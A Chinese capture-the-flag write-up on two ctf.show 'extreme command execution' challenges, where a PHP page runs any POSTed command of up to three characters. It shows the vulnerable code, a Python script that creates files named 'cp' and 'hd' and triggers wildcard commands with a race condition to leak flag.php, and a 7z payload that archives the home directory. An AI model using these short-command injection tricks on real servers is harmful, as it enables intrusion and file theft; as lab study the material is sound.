极限RCE之三字节RCE
极限命令执行6
<?php
error_reporting(0);
if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 3) {sleep(1);system($ctfshow);}
}else{highlight_file(__FILE__);
}
?>
限定字符长度,先简单的ls,发现有文件(flag.php index.php)
如何去看看有哪些两个字母的命令:
然后这里面hd是hexdump的缩写可以用来读取文件。然后呢我们要利用的还有一点就是*d*这个就是会匹配到当前文件下带d的字符,即 hd index.php从而读取index.php,所以只需将flag.php的内容覆盖到index.php。但是要条件竞争!
import requestsurl = "http://7b219e58-e304-4f4e-bcd3-d8eaf6cdd8cc.challenge.ctf.show/"requests.post(url, data={"ctf_show": ">cp"})
requests.post(url, data={"ctf_show": ">hd"})try:requests.post(url, data={"ctf_show": "*p"}, timeout=0.1)
except:passr = requests.post(url, data={"ctf_show": "*d*"})print(r.text)
极限命令执行7
<?php
error_reporting(0);#go back home , your flag is not here!if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 3) {system($ctfshow);}
}else{highlight_file(__FILE__);
}
?>
这里用到的命令就是7z(一个用于解压缩的命令)
7z a archive.7z file1 file2 dir1
a = add,表示创建压缩包
archive.7z = 生成的压缩文件名
file1 file2 dir1 = 要打包的文件和目录
~会自动展开为你的家目录的完整路径。
payload:
7z
a
b
* ~
然后下载b.7z压缩包即可!
小结
单独使用*表示将当前目录第一个文件名当作命令执行,其余文件名当作这个命令的参数!